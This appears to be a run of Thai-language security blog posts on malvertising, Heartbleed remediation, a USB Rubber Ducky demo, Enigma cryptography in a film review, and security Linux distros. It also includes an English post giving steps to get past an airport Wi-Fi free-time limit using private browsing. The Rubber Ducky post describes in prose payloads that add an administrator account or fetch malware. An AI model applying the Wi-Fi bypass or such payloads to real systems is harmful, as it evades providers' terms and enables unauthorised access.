ใน keyword ดังกล่าวมีการอ้างอิงถึง {rel=""nofollow""} ถ้าหากลองเรียกดูก็จะพบว่ามันคือ short URL ของ forex-prices.com
## ถามว่าจะแก้ไขอย่างไร
คำตอบนี้จะต้องให้ webmaster ของ website ที่ใช้บริการ advertisement หรือ banner ต่าง ๆ มาช่วยจัดการครับ เนื่องจากวิธีนี้เป็นการโจมตีผ่านการใช้งาน ads และ banner กลุ่มผู้ร้าย (cyber criminal) อยากจะ enable หรือ disable การโจมตีเมื่อไรก็ได้ที่อยากจะทำ ทำให้เรา trace ไปหาตัวผู้ร้ายได้ยาก
ส่วนฝั่งผู้ใช้งานก็ต้องดูแลตัวเองด้วยการ update patch ทั้ง OS, Browser และ Plugin ต่าง ๆ ลองไปตรวจสอบว่า Browser ที่ใช้งานปลอดภัยหรือไม่ ผ่าน service ชื่อ BrowserScan ของ rapid7 ดูนะครับ (ฟรีและดีมาก)
{rel=""nofollow""}
ถ้าหากใครเข้า website แล้วเกิดอาการแบบนี้ก็ต้องระมัดระวังตัวกันด้วยนะครับ ครั้งนี้พวก cyber criminal ทำแค่ redirect เราไปสักที่หนึ่งเพื่อจุดประสงค์อะไรก็แล้วแต่ คราวหน้ามันอาจจะ redirect เราไป landing page เพื่อโจมตีเราก็เป็นได้
นอกจากนี้ผู้ใช้งานทั่ว ๆ ไปอย่างเรา ๆ อาจจะสามารถป้องกันด้วยวิธีการติดตั้ง Add-on ของ Web Browser ที่ช่วย Block Ads ต่าง ๆ ได้ แต่ผมคิดว่า Solution นี้เป็นแค่วิธีการป้องกันชั่วคราวเท่านั้น เพราะวิธีการโจมตีแบบนี้ถือว่า Stealth มาก ๆ การ Update ของ Add-on อาจจะมาไม่ทันทำให้เราอาจตกเป็นเหยื่อได้อีก อย่างไรก็ตามวิธีการป้องกันที่ดีที่สุดก็คือการสร้าง Security Awareness ให้กับตัวเราเองครับ
> Be Prepared!!!
# Information Security Training for Bhutan’s MOIC officers
สัปดาห์ที่ผ่านมาพวกเรารู้สึกเป็นเกียรติและยินดีเป็นอย่างยิ่งที่ทางกระทรวงเทคโนโลยีสารสนเทศและการสื่อสาร (ICT) ได้ให้โอกาสกับพวกเราไปบรรยายให้กับเจ้าที่ด้าน ICT จาก
Ministry of Information and Communication หรือ MOIC
จากราชอาณาจักรภูฏานในหัวข้อดังต่อไปนี้
1. พื้นฐานเทคโนโลยี Remote Access
2. พื้นฐานเทคโนโลยี Web Filtering
3. Penetration testing/Ethical Hacking
4. Basic Network Security Monitoring
5. Malicious PDF Analysis
6. Wanna Learn Kung fu?
หลังจากสิ้นสุดการบรรยายทางผู้เข้ารับการอบรมก็ได้ชื่นชมและให้คำขอบคุณกับความรู้, วิธีการและเทคนิคต่างๆที่จะนำไปประยุกต์ใช้ได้จริงในการทำงาน
พวกเราจะ Deliver ผลงานดีๆออกมาอย่างต่อเนื่องครับ และหวังว่าจะมีโอกาสเปิด class ให้กับคนไทยได้เรียนรู้เรื่อง Security อย่างจริงจังในรูปแบบที่เป็นแบบฉบับของเรา ซึ่งพวกเรามั่นใจว่าหลังจากเรียนจบจะต้องเอาไปต่อยอดได้ต่อไปอย่างแน่นอน
อยากเรียนกังฟูกันบ้างรึยังครับ!
# Take a deep breath with Heartbleed
สำหรับเรื่อง Heartbleed ผมขอเขียนให้กระชับที่สุดก็แล้วกันครับ (เพราะมีแหล่งข้อมูลเยอะแล้ว และอีกอย่างไอ้ Heartbleed ทำเอาเลือดสาดเลยทีเดียว)
Heartbleed bug หรือ [CVE-2014-0160](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-0160){rel=""nofollow""} ทำให้ใครก็ตามสามารถเห็นข้อมูลใน memory ครั้งละประมาณ 64K ได้ต่อ 1 ครั้ง อยากเห็นกี่ครั้งก็ได้ตามสบาย แล้วอะไรที่เห็นได้บ้างหรอครับ? เพียบเลยเช่น content ที่ไม่ต้อง authenticate ก่อนก็ดูได้, ข้อมูล session, Private Key, username และ passwords ส่วนใครอยากทราบรายละเอียดเพิ่มเติม ลองดูจากรายการด้านล่างได้เลยนะครับ
– ถ้าใครยังไม่รู้จักให้ลองอ่านจาก [heartbleed.com](http://heartbleed.com/ "heartbleed"){rel=""nofollow""}
– หากใครไม่สันทัดภาษาอังกฤษ ThaiCERT ก็เขียนบทความออกมาอธิบายแล้วครับ [ระวังภัย ช่องโหว่ใน OpenSSL ผู้ไม่หวังดีสามารถขโมยข้อมูลใน Memory จากเครื่องของเหยื่อได้ (Heartbleed, CVE-2014-0160)](https://www.thaicert.or.th/alerts/admin/2014/al2014ad002.html){rel=""nofollow""}
– คุณ Phitchayaphong Tantikul ทำ VDO ภาษาไทยเอาไว้สามารถไปดูเพิ่มความเข้าใจได้ที่ [ช่องโหว่ OpenSSL Heartbleed](https://www.youtube.com/watch?v=8uUOLVlkLPI){rel=""nofollow""}
เอาล่ะครับ เข้าเรื่องเลยดีกว่า
## ปัญหาคือมันมีอะไรที่มากกว่านั้น

Ref: [OpenSSL Security Advisory](https://www.openssl.org/news/secadv_20140407.txt){rel=""nofollow""}
### เพียงแค่ update เรื่องมันยังไม่จบนะครับ สาเหตุก็คือ
1. เราไม่รู้ว่าโดนเอาอะไรออกไปแล้วบ้าง ถ้าหากมีการ implement Extrusion Detection ก็ลองไปดูเลยนะครับว่ามีอะไรถูกเอาออกไปแล้วบ้างหรือไม่(ผมจัดว่าวิธีนี้ยากเกินไป อาจจะต้องรอ vendor ทำ flow analysis ออกมาโดยเฉพาะ ซึ่งช้าไปแล้ว)
2. สืบเนื่องจากข้อ 1 มันไม่มี log ปรากฎครับ หากเราดูแต่ web server log เราจะตอบคำถามใครไม่ได้ว่ามันเสียหากมากน้อยแค่ไหน เป็นสถานการณ์ที่เราเสียเปรียบเป็นอย่างยิ่ง
3. คุณ Update และแก้ปัญหาฝั่ง server-side ได้ก็จริง แล้วฝั่ง client-side ล่ะครับ ชิบหายครับ ลองคิดดูว่าถ้าเราบังคับให้ client connect กับ server ที่เรา control ได้ client-side attack ก็สามารถเกิดขึ้นได้ซึ่งจะทำให้เราสามารถอ่านข้อมูลใน memory ของ client ได้ ซึ่งตอนนี้นักวิจัยเค้าออกมา confirm แล้วครับว่า Android versions 4.1.0 และ 4.1.1a มีโอกาสโดน heartbleed bug เล่นงาน :br
(SSL บน Window ไม่เป็นไร ไม่งั้นตายหมู่แน่นอนครับ)
ดังนั้นเวลาตอบคำถามใครก็ตามอย่าลืมประเด็นเรื่องพวกนี้ด้วยนะครับ
## คำแนะนำเพิ่มเติมที่พวกเราอยากบอกทุกท่าน
1. ทดสอบดูว่า Server ทั้งที่อยู่ใน internal network และ DMZ zone มีช่องโหว่หรือไม่ มีจัดการแก้ bug :br
ก่อนเลยครับ รีบๆทำด้วย
2. Generate Certificate ใหม่เลยครับ อย่าคิดว่าเปลืองแรง ถ้าหากระบบของเราเป็นระบบสำคัญต้องทำทันที
3. เช่นเดียวกันกับข้อ 2 จัดการ reset password ของผู้ใช้งานทุกคน ไม่ใช่เรื่องน่าอายเพราะโดนกันทั้งโลกนะครับ
4. Application ที่เอาไป plug กับคนอื่นๆ ลองถามเค้าด้วยนะครับว่าระบบของเค้า OK กับ heartbleed หรือยัง ไม่ว่าจะเป็นการ implement โดยใช้ library ที่ใช้ openssl หรือเอา application ไปคุยกับ application อื่นๆ
5. สำหรับ Client-side จัดเป็นเรื่องใหญ่ครับ ผมหวังว่าอย่างน้อย browser vendor อาจจะทำอะไรได้บ้าง (ตอนนี้ก็มี plugin ช่วย check แต่เราไม่ค่อยชอบใช้พวก plugin ครับ)
6. Cloud Service ที่เราใช้กันอยู่มีใครโดนเล่นหรือไม่ ไปดูได้ที่ [The Heartbleed Hit List: The Passwords You Need to Change Right Now](https://mashable.com/2014/04/09/heartbleed-bug-websites-affected/){rel=""nofollow""}
7. ช่วงนี้ระวัง Phishing ด้วยครับ ถ้ามี mail ส่งมาให้ reset password ขอให้มีสติ
8. สำหรับการตรวจดูว่า Web นั้นๆโดน heartbleed หรือไม่ สามารถตรวจได้หลายที่ เช่น
- [Heartbleed test โดย https://twitter.com/FiloSottile](https://filippo.io/Heartbleed/){rel=""nofollow""}
- [Heartbleed test ของ McAfee](http://tif.mcafee.com/heartbleedtest){rel=""nofollow""} ผมว่าเค้าเล่น marketing นิดๆ
9. ผมว่าตรวจด้วย script เห็นชัดสุดครับ internal test ภายใน private network ก็สามารถทำได้ หากใครต้องการข้อมูลเพิ่มเติมว่าจะ check Heartbleed ของเครื่องในองค์กรได้อย่างไรสามารถสอบถามมาได้เลยนะครับ เดี๋ยวจะเอา script ไปให้ลองใช้ดู แต่ผมเชื่อว่าหลายๆคนทำได้อยู่แล้ว ?
> Stay safe and get secured!!
# Security book on 2014
ผมเป็นคนหนึ่งที่ชอบสะสมหนังสือ Security ดังนั้นจึงอดไม่ได้ที่จะแนะนำหนังสือ Security ที่น่าสนใจที่เพิ่งออกมาในปี 2014 ซึ่งหนังสือ 2 เล่มนี้ได้แก่
1. RTFM: Red Team Field Manual เหมาะสำหรับคนที่สนใจด้าน Offensive เป็นหนังสือที่รวบรวม Command ที่สำคัญๆ ที่ใช้ในการเจาะระบบ ซึ่งนับเป็น Reference Book ที่ดีมากเล่มนึงครับ ผู้แต่งคือ Ben Clark
2. Blue Team Handbook: Incident Response Edition เหมาะสำหรับคนที่สนใจด้าน Defensive ซึ่งรวบรวมเนื้อหาเกี่ยวกับการป้องกัน ไม่ว่าจะเป็นการทำ Incident Response, Forensics, Intrusion Analysis ซึ่งผู้แต่งหนังสือเล่มนี้คือ Don Murdoch หนึ่งในผู้ครอบครอง Certificate ระดับโลกอย่าง [GSE (GIAC Security Expert)](https://www.giac.org/certification/security-expert-gse){rel=""nofollow""}
ขณะนี้ Don Murdoch ก็มีโครงการที่จะเขียนหนังสือเล่มใหม่ออกมาหลังจาก Blue Team Handbook ได้รับการตอบรับอย่างดีครับ ซึ่งในวงการ Security เองก็มีการแซวกันว่านี่อาจจะเป็น "Modern Day Rainbow Series" เลยทีเดียว
Rainbow Series คืออะไร?
.ในอดีตเมื่อนานมาแล้ว Department of Defense (DoD) ของ US ได้ตีพิมพ์หนังสือที่เกี่ยวกับ Security Standard โดยเล่มแรกนั้นชื่อว่า "Trusted Computer System Evaluation Criteria" (TCSEC) ซึ่งเป็นมาตรฐานในการประเมิน Security ของระบบ โดยหน้าปกของ TCSEC นี้จะเป็นสีส้ม ดังนั้นจึงมี Code name ว่า "Orange Book" หลังจากนั้นก็ได้มีการตีพิมพ์หนังสือที่เกี่ยวกับ Security Standard อีกมากมายโดยแต่ละเล่มก็มีสีต่างกัน จนสุดท้ายจึงเรียก Series ของหนังสือ Set นี้ว่า Rainbow Series ครับ
ในปัจจุบัน Security System มักจะอ้างอิง Common Criteria (CC) แทนนะครับ ซึ่งจะมีค่าของ EAL Level อยู่จะมีตั้งแต่ EAL 1 ถึง EAL 7 เลขยิ่งเยอะแปลว่าระบบยิ่งแข็งนะครับ
Ref:
1. [http://www.amazon.com/Rtfm-Red-Team-Field-Manual/dp/1494295504](https://www.amazon.com/Rtfm-Red-Team-Field-Manual/dp/1494295504){rel=""nofollow""}
2. [http://www.amazon.com/Blue-Team-Handbook-condensed-Responder/dp/1500734756/](https://www.amazon.com/Blue-Team-Handbook-condensed-Responder/dp/1500734756/){rel=""nofollow""}
3. [http://en.wikipedia.org/wiki/Rainbow\_Series](https://l.facebook.com/l.php?u=http%3A%2F%2Fen.wikipedia.org%2Fwiki%2FRainbow%5FSeries&h=zAQGNWLO5&enc=AZPScqGQx42%5Fc-3C6NyZGkaR0xXA-356K2d44%5FJClTP0VAp9jz2T%5FNcVtdg5PGmfi2dDy5GRSCWBzXuOIEbHJB5ZemGgxo6O4R%5FMdMQ-aVMtKYFDIqByYQKhWhvZYTnKhH7voz2MrrVC2Ma3OjwlF2Po&s=1){rel=""nofollow""}
# Rubber Ducky in action
1 ในอุปกรณ์สุดฮิตที่ Hacker ทั้งหลายควรจะต้องมี คงจะหนีไม่พ้นเจ้า USB Rubber Ducky
อุปกรณ์นี้ไม่ได้น่ารักใสซื่อเหมือนชื่อมันเท่าไรนัก เพราะว่ามันสามารถ Bypass Security Control ทั้งหลายได้อย่างง่ายดาย หลักการของ USB Rubber Ducky นั้นคือ ให้คิดว่ามันเป็น USB Keyboard 1 อัน ที่สามารถ Load Key Sequence ล่วงหน้าได้\*\* ดังนั้น Hacker ก็สามารถเตรียมคำสั่งอันร้ายกาจไว้ได้นั่นเอง ข้อดีที่สำคัญสุดๆของ Rubber Ducky นั้นคือ พวก \*\*Antivirus จะไม่สามารถตรวจจับได้ว่ามันเป็นอุปกรณ์ที่อันตรายได้ เพราะมันถูกมองว่าเป็นเพียง Keyboard 1 ตัวเท่านั้นเอง
นี่คือหน้าตาของ Rubber Ducky ดูไปก็คล้าย USB Flash Drive ธรรมดาๆ
Concept การใช้งานของ Rubber Ducky นั้นง่ายมาก มี 4 ส่วน ได้แก่ Write, Encode, Load, Deploy
- Write เขียนคำสั่งต่างๆ หรือ Key Sequence ต่างๆ ที่ต้องการจะ Run บนเครื่องเหยื่อ
- Encode คือแปลงพวก Key Sequence ที่เราเตรียมไว้ให้เป็น Payload ของเจ้า Rubber Ducky
- Load ก็คือเอา Payload ไปใส่บน memory card ของเจ้าเป็ดเหลือง
- Deploy คือการจิ้มเจ้า Rubber Ducky ใส่เครื่องเหยื่อ หลังจากนั้นคำสั่งบน Rubber Ducky ก็จะ Execute บนเครื่องเหยื่อ ถ้าอยากจะ Execute Payload ซ้ำ ก็สามารถกดปุ่ม Replay บน Rubber Ducky ได้
ใน Package ของ Rubber Ducky นั้นมีอุปกรณ์อื่นๆอีกมากมาย ซึ่งส่วนใหญ่เป็นอุปกรณ์ ช่วยในการ ลับ ลวง พลาง ด้านขวานี่ก็ตัวช่วยประกอบให้หน้าตาดูเป็น Flash Drive ทั่วๆไป แต่ด้านซ้ายสุดนี่สิ หัวแปลง USB ซึ่งทำให้สามารถใช้ Rubber Ducky กับ Android ได้ และ 1 ใน Payload ที่เคยฮิตมากเกี่ยวกับ Android คือ การทำ Brute Force Passcode ที่ Login Screen
มาดูกันดีกว่าว่าพอเสียบ USB Rubber Ducky เข้าไปในเครื่องแล้วจะเป็นอย่างไร
อันนี้เป็น Payload ง่ายๆสำหรับการ Add User ใหม่บน Windows พร้อมทั้ง Add เข้า Administrators Group ด้วยครับ (ใน Video จะมีบางช่วงที่หยุดซักระยะนึงนั้นคือการตั้ง Delay ว่าอยากให้ช้าหรือเร็วแค่ไหน ถ้าตั้งเร็วเกินไปเดี๋ยวจะดูไม่ทันครับ)
อยากให้เจ้า Rubber Ducky ทำงานได้ซับซ้อนแค่ไหนก็ขึ้นอยู่กับความสามารถในการเขียน Script ของแต่ละคนแล้ว เช่น สั่ง Capture Screen ทุกๆ 1 นาที พร้อมส่ง Mail มาให้เรา หรือ สั่งให้ Download Malware มา Install ที่เครื่องก็เป็นไปได้
เจอแบบนี้แล้วใครบอกว่า Physical Security และ Security Awareness ไม่สำคัญก็คิดดูใหม่ได้นะครับ
ปล. ถ้าใครคิดว่าเรื่องพวกนี้สำคัญ และ อยากให้เพื่อนๆ หรือ คนที่ทำงาน มีความตระหนักในเรื่อง Security ก็อย่าลืมกด Like กด Share นะครับ รับรองว่ามีอะไรตื่นเต้นอีกเยอะ ส่วนใครที่สนใจและอยากให้ทีมงานไปแชร์ความรู้เกี่ยวกับ Security Awareness ให้กับองค์กรของท่านก็สามารถติดต่อเราได้เช่นกันครับ ขอบคุณครับ
# The Imitation Game: From Security View
สวัสดีปีใหม่ ปี 2015 นี่เป็น Post แรกของปีนี้ ผมจำได้ว่าเคยเขียน Review หนังเรื่อง [007 Skyfall](https://incognitolab.com/blogs/007-skyfall-the-untold-story) ไปเมื่อนานมาแล้ว พอย้อนกลับไปดูก็พบว่าเขียนไป 2 ปีที่แล้ว ซึ่งนานพอสมควรละ คงถึงเวลาที่จะรีวิวเรื่องใหม่ละครับ สำหรับหนังที่จะมารีวิวกันในครั้งนี้จะเป็นเรื่อง "The Imitation Game" ซึ่งเป็นเรื่องราวของนักคณิตศาสตร์ Alan Turing ที่ได้สร้างประโยชน์ให้กับโลกนี้อย่างมหาศาลในสมัยสงครามโลกครั้งที่ 2 โดยส่วนตัวตอนแรกไม่ได้สนใจเรื่องนี้เลย เนื่องจากอ่านจากชื่อเรื่องแล้วไม่ได้คาดคิดเลยว่าจะเป็นหนังแนวนี้ แต่พอเห็นรูปจากกระทู้ของ Pantip เท่านั้นล่ะ อยากดูเลย เนื่องจากจำได้ว่าเจ้าเครื่องจักรในรูปนั้นเป็นเครื่อง The Bombe ที่ Alan Turing ใช้ในการถอดรหัสสมัยสงครามโลกครั้งที่ 2 นอกจากนี้ก็ชอบดารานำ 2 คนคือ Benedict Cumberbatch จาก Series Sherlock มาเล่นเป็น Alan Turing และ Keira Knightley จาก Begin Again ที่มารับบทเป็น Joan Clarke
[](http://pantip.com/topic/33154348){rel=""nofollow""}ใครก็ตามที่สนใจเรื่อง Security อยู่แล้วคงจะชอบเรื่องนี้นะครับ เพราะว่าเกี่ยวกับเรื่อง Cryptography (วิทยาการการเข้ารหัส) มากๆ เรื่อง Cryptography นั้นมีความสำคัญมาตั้งแต่สมัยก่อนโดยเฉพาะในช่วงเวลาที่ทำสงครามกัน (บางคนเข้าใจว่า Cryptography เพิ่งมีในยุคนี้ ทำความเข้าใจใหม่นะครับ) ในหนังเรื่องนี้จะเป็นช่วงสงครามโลกครั้งที่ 2 ยุคที่การสื่อสารยังทำผ่านวิทยุเป็นหลัก ฝ่ายเยอรมันใช้เครื่อง Enigma ซึ่งเป็นเครื่องที่ใช้ในการเข้ารหัส (Encrypt) ที่เชื่อกันว่าจะไม่มีใครสามารถถอดรหัส (Decrypt) ได้ หากไม่ทราบ Key ที่ถูกต้อง ข้อมูลการสื่อสารทุกอย่างของเยอรมันได้รับการเข้ารหัส เช่น พิกัดในการโจมตี หรือแม้แต่ ข้อมูลดินฟ้าอากาศ ฝ่ายอังกฤษถึงแม้ว่าจะสามารถดัก (Intercept) ข้อมูลได้แต่ก็ไม่สามารถที่จะทำความเข้าใจกับข้อมูลที่ถูกเข้ารหัส (Ciphertext) ได้ ทำให้ตกเป็นฝ่ายเสียเปรียบในการทำสงคราม เพื่อที่จะทำการถอดรหัสข้อมูลให้ได้นั้นประเทศอังกฤษได้รวบรวมคนเก่งๆจากทั่วประเทศมารวมกันที่ Bletchy Park เป็นจุดที่อยู่ระหว่างเมือง Cambridge และ Oxford ที่เลือกจุดนี้ก็เพื่อความสะดวกในการเดินทางของคนเก่งๆที่ดึงมาจาก 2 มหาลัยชื่อดังของเมืองทั้งสองนี่เอง ภาพจากในหนัง Bletchy Park ปัจจุบัน Bletchy Park ยังมีอยู่นะครับ เปิดเป็น Museum ให้คนทั่วไปเข้าชมได้ ด้านในก็จะมีอุปกรณ์ต่างๆที่ใช้ในสงครามโลกตั้งแต่เครื่อง Enigma จนถึง รถยนต์ เครื่องบินต่างๆ ที่ใช้ในสมัยนั้น อันนี้ภาพที่ไปถ่ายที่ Bletchley Park เมื่อหลายปีก่อน ถัดมานี่คือฉากที่มีการแนะนำ Enigma สุดยอดเครื่องที่ใช้ในการเข้ารหัสในสมัยนั้น ในฉากนี้จะอธิบายถึงการทำงานของ Enigma และ Process ในการเปลี่ยน Key ของฝั่งเยอรมัน โดยจะมีประโยคที่ว่า "The German switches the setting everyday promptly at midnight. We usually intercept the first message around 6AM. That give you exactly 18 hours everyday to crack the code"\*\* ประโยคนี้ถือว่ามีความสำคัญสูงในเรื่องของ Cryptography เพราะว่า **การเข้ารหัสนั้นเราอาจจะไม่จำเป็นต้องใช้ Algorithm ที่สุดยอดไม่มีใคร Crack ได้ตลอดกาลก็ได้ เราอาจต้องการแค่ Algorithm ที่ไม่สามารถ Crack ได้ในระยะเวลาที่กำหนด** ใน Case นี้คือทางเยอรมันเชื่อว่าไม่มีใคร Crack Enigma ได้ภายใน 1 วัน จึงทำการเปลี่ยน Key ทุกๆวัน หลายๆ Protocol ในปัจจุบันเรื่องใช้วิธีการลักษณะเดียวกันคือ Key renegotiation อีกฉากหนึ่งที่น่าสนใจคือในขณะที่ Alan Turing พยายามผลิตเครื่องจักรที่ใช้ในการถอดรหัส Enigma คนในทีมคนอื่นๆ ก็เลือกใช้แรงงานสมองของมนุษย์ในการถอดรหัส โดยในฉากนี้มีประโยคที่กล่าวว่า **"We have decrypted a number of German messages by analysing the Frequency of Letter Distribution."**มันคืออะไร? \*\*Frequency of Letter Distribution หรือเทคนิคการทำ Letter Frequency Analysis ซึ่งเป็นเทคนิคที่ใช้ในการถอดรหัสของการเข้ารหัสที่เป็น Substitution Cipher (Enigma มีพื้นฐานการเข้ารหัสแบบ Polyalphabetic Substition Cipher) โดยหลักการพื้นฐานของ Letter Frequency Analysis คือการนับการความถี่ของตัวอักษรแล้ว map เข้ากับความถี่ของตัวอักษรในข้อมูลที่ถูกเข้ารหัสที่มีสัดส่วนความถี่ที่ใกล้เคียงกัน เช่น ในข้อมูลที่ถูกเข้ารหัสด้วยวิธีการ Substition Cipher นั้นมีตัวอักษร "G" มากสุด เมื่อถอดรหัสด้วย Letter Frequency Analysis แล้วมีโอกาสที่จะเป็นตัวอักษร "E" สูงมากเนื่องจากในภาษาอังกฤษตัวอักษร "E" มีโอกาสพบมากที่สุด อีกฉากที่ชอบคือในห้องเรียนตอน Turing ยังเด็ก Turing มีการเขียนข้อความที่เข้ารหัสส่งให้เพื่อนแต่โดนคุณครูจับได้และเปิดอ่าน ซึ่งคุณครูอ่านไม่รู้เรื่องเพราะไม่เข้าใจว่าข้อความถูกเข้ารหัสอยู่ รูปด้านล่างเป็นข้อความใน Note ของ Turing จากตัวอักษรในกระดาษจะพบว่านี่เป็น Cipher ชนิด Monoalphabetic Substitution Cipher นะครับ ดูง่ายมากเพราะการเข้ารหัสแบบนี้คือการสลับตัวอักษรกัน ในตัวอย่างนี้ 2 แถวบนเป็นข้อความที่ถูกเข้ารหัสแล้ว ส่วน 2 แถวล่างคือข้อความที่ไม่ได้ถูกเข้ารหัส การแทนที่ของตัวอักษรเป็นแบบง่ายๆ ดูจากคำว่า "SEE" (คำแรกของข้อความที่ไม่ได้ถูกเข้ารหัส) คือคำว่า "WII" (คำแรกของข้อความที่ถูกเข้ารหัส) นั่นหมายถึงว่า "E" ถูกแทนด้วย "I" และ "S" ถูกแทนที่ด้วย "W" ถ้าสังเกตตัวอื่นจะเห็นว่า "E" จะถูกแทนด้วย "I" ทั้งหมด ซึ่งลักษณะของ Substition Cipher ที่เป็น Monoalphabetic ถ้าเป็น Substitution Cipher ที่ซับซ้อนกว่านี้ เช่น Polyalphabetic Substitution Cipher ตัว "E" อาจจะไม่ได้ถูกแทนด้วย "I" ทั้งหมดก็เป็นได้ ขึ้นอยู่กับตำแหน่งของตัว "E" ด้วย (ถ้างงแนะนำว่าไปอ่านเพิ่มเกี่ยวกับ Vigenère cipherนะครับ) ถัดมาในหนังระหว่างที่มีการใช้ Christopher ถอดรหัส ผลปรากฎว่า เครื่องใช้เวลานานมากจนโครงการของ Turing เกือบถูกยกเลิก สาเหตุก็คือ Key (หรือ Setting Combination) ของ Enigma มีจำนวนมากนั่นคือ 159×10^18 นั่นเองหากใช้เครื่องจักรหาทุก Combination ก็ยังจะใช้เวลานานมากอยู่ดี ก่อนที่จะ Crack Enigma Code ได้สำเร็จ Turing ได้ไอเดียจากการคุยกับ Helen (เพื่อนของ Joan ไม่แน่ใจว่าเรื่องจริงเป็นแบบในหนังหรือไม่) ซึ่งทำให้สามารถใช้เทคนิคที่เรียกว่า Known Plaintext Attack (ทราบบางส่วนว่า Plaintext คือคำว่าอะไร) จนในที่สุดก็ปรับแต่ง Christopher ให้เน้นหา Key ที่ทำการ Decrypt แล้วได้คำนั้นออกมา (คำว่า weather เนื่องจากเยอรมันมีการรายงานสภาพอากาศทุกวันตอนเช้า) ซึ่งวิธีการนี้ทำให้ย่นระยะเวลาลงไปมาก จนในที่สุด Alan ก็สามารถถอดรหัส ได้และนำมาซึ่งชัยชนะในสงครามโลกครั้งที่ 2
ป.ล. เครื่องที่ใช้ในการถอดรหัสนั้นมีชื่อว่า The Bombe ซึ่งในหนังจะใช้ชื่อว่า Christopher เดาว่าเพื่อให้หนังดูดราม่าหน่อยๆแหละ 
# How to get Free Internet at the airport
I have to transit at Dubai International Airport and found that the Internet here was provided only 30 minutes for free. A question comes through my head. How can I survive for such a long transit???
Here is the normal procedure for connecting the Internet.
1. Select "DXB Free Wifi" as your prefer network
2. Open web browser and type in any web site, it will be redirected to portal.boingohotspot.net which will allow you to use free Internet free 30 minutes for the first time.
{width="100%"}
After finish 30 minutes, the free Internet option will be gone from package selection page.
{width="100%"}{width="100%"}
If you want to stay online again, here is the procedure.
1. Open your web browser with private mode (some browser call it InPrivate, Incognito mode)
{width="100%"}
2. Enter any URL, and it will be redirected to portal.boingohotspot.net again. This time the free Internet package will be shown up.
{width="100%"}
3. Enjoy your Internet.
{width="100%"}
The reason behind this?
My first thought is the WIFI system must remember MAC Address of the machine. However, after changing MAC address, it still remember my machine. Then another option would be web browser sent cookie value to identify itself, and the WIFI system uses cookie value to identify which machine has already used free Internet. Thus, using Private mode>portal.boingohotspot.netwebsite.
# Security Distro
เมื่อวานนี้ Distro ชื่อดังอย่าง Kali Linux ได้ออก Version 2.0 ซึ่งสามารถ Download ได้ที่ {rel=""nofollow""}
Released Date Timeline ของ Kali Linux สามารถดูได้จากวีดีโอด้านล่างนะครับ มีตั้งแต่สมัยที่ยังเป็น Backtrack อยู่เลย
ผมคิดว่าคนที่เข้ามาอ่าน Blog นี้คงทราบดีอยู่แล้วว่า Kali ไว้ทำอะไรนะครับ ซึ่งหลักๆก็คือใช้ทำ Pentest แหละครับ แต่คุณทราบหรือไม่ว่าในโลกนี้ยังมี Distro ที่เกี่ยวกับ Security และมีประโยชน์อีกมากมายให้เลือกใช้ ซึ่ง Distro แต่ละอันก็ออกแบบมาเพื่อวัตถุประสงค์ที่แตกต่างกัน การเลือกใช้ก็ควรเลือกให้เหมาะสมนะครับ โดยเริ่มตัวแรกเลยแล้วกันครับ
1. Tails – เป็น Distro ที่เหมาะสำหรับคนที่ต้องการระวังเรื่อง Privacy เป็นพิเศษ มีการติดตั้ง Tor มาด้วย รวมไปถึงการใช้งานเน้นรันบน memory (RAM) ถ้าปิดเครื่องไปข้อมูลหายหมด ทำให้ยากในการทำ Forensics หรือ Track หาหลักฐานมาเชื่อมโยงกับผู้ใช้งานนะครับ กลุ่มผู้ใช้งานของ Tails นั้นค่อนข้างกว้างมาก User ทั่วๆไปก็สามารถใช้งานได้ หรือ อาจจะเป็นกลุ่มนักข่าว หรือ หน่วยข่าวกรองต่างๆ รวมไปถึงพวก Whistleblower เช่น Edward Snowden ก็ใช้งาน Tails นะครับ
2. REMnux – เป็น Distro ที่ใช้สำหรับการทำ Malware Reverse Engineering รวมถึงการวิเคราะห์ Malware ซึ่งคนที่ทำ REMnux ก็คือ Lenny Zeltser ผู้เชี่ยวชาญด้าน Security และยังเป็นเจ้าของหลักสูตร SEC660 – Reverse-Engineering Malware จาก SANS ด้วยครับ
3. SIFT Workstation – SIFT ย่อมาจาก SANS Investigative Forensic Toolkit ชื่อก็บอกแล้วนะครับว่าใช้ทำ Forensics เป็นหลัก จะมี Tool ที่ติดตั้งเพื่อเตรียมไว้ทำ Forensics เช่น Tool ที่ใช้ทำ File Carving, Timeline analysis และอื่นๆที่จำเป็นในการวิเคราะห์พิสูจน์หลักฐาน คนที่ดูแล SIFT ก็คือ Rob Lee หนึ่งในผู้นำทางด้าน Digital Forensics และเจ้าของหลักฐาน Forensics ของ SANS ครับ
4. Security Onion – อันนี้เหมาะสำหรับเอามาใช้ทำ IDS/IPS, NSM (Network Security Monitoring), Intrusion Analysis, Network Forensics และ Feature อื่นๆอีกมากมาย ซึ่งก็จะเน้นทางฝั่ง Defense เป็นหลัก
5. OSSIM – มาจาก The Open Source SIEM ซึ่งชื่อก็บอกแล้วครับว่าเป็น SIEM ตัวนึงโดยเป็นของ AlienVault โดย AlienVault เองก็มี Product ที่เป็น version เสียเงินของ OSSIM ซึ่งจะใช้ชื่อว่า AlienVault USM
สุดท้ายนี้หวังว่าหลายๆคนคงเลือก Tool ได้เหมาะสมกับงานมากขึ้นนะครับ รวมถึงน่าจะได้ทราบถึงข้อมูลของ Distro ที่น่าสนใจที่สามารถนำมาใช้ประโยชน์เพื่อช่วยทำให้องค์กร หรือ หน่วยงานแข็งแรงขึ้นได้
# Data Leakage คืออะไร เกี่ยวกับ Data Privacy อย่างไร (ตอนที่ 1)
ปีนี้ผมเห็นเรื่องราวของ Data Leakage นี่น่าสนใจมากครับ ซึ่งแน่นอนข้อมูลที่รั่วออกมานี้มีประเด็นเรื่องของ Data Privacy แน่ ๆ
{width="100%"}
ล่าสุดที่เป็นข่าวดังคงหนีไม่พ้น Ashley Madison เวปไซต์หาคู่ หากิ๊ก ชื่อดังในต่างประเทศที่ถูก Hack โดยกลุ่ม Hacker ที่มีชื่อว่า Impact Team ซึ่งทาง Impact Team ข่มขู่ให้ปิดเวปไซต์ไป ไม่งั้นจะเอา Data ที่ขโมยออกมาเผยแพร่บน Internet โดยตอนนี้มีการปล่อย Data จาก Impact Team ถึง 3 รอบแล้ว
- รอบแรก Data มีขนาดประมาณ 10 GB เป็นข้อมูล member ของเวปไซต์ ซึ่งมี hash password รวมอยู่ด้วย
